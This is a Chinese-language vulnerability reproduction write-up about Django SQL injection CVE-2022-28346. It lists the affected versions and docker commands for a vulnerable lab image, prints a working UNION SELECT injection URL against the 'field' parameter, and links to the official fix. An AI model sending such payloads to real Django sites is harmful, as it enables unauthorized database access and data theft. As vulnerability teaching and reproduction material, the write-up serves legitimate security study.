Django SQL注入漏洞CVE-2022-28346

简介

Django 是用 Python 开发的一个免费开源的 Web 框架,几乎囊括了 Web 应用的方方面面,可以用于快速搭建高性能、优雅的网站,Django 提供了许多网站后台开发经常用到的模块,使开发者能够专注于业务部分。
 


 

漏洞概述

漏洞编号:CVE-2022-28346
攻击者使用精心编制的字典, 通过**kwargs传递给QuerySet.annotate()aggregate()extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击。
 


 

影响版本

4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28
 


 

环境搭建

docker pull s0cke3t/cve-2022-28346:latest
docker run -d -p 8080:8000  s0cke3t/cve-2022-28346


 

漏洞复现

通过报错页面可以发现存在哪些接口

图片[1]-Django SQL注入漏洞CVE-2022-28346-孤勇者社区

访问接口如果存在传参,同样会提示报错信息

图片[2]-Django SQL注入漏洞CVE-2022-28346-孤勇者社区

使用报错提示的参数进行sql注入

http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

图片[3]-Django SQL注入漏洞CVE-2022-28346-孤勇者社区

 


 

修复方式

官方已发布安全版本,下载地址:
https://www.djangoproject.com/download/
 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 共2条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像拟机0
    • 头像谨魔0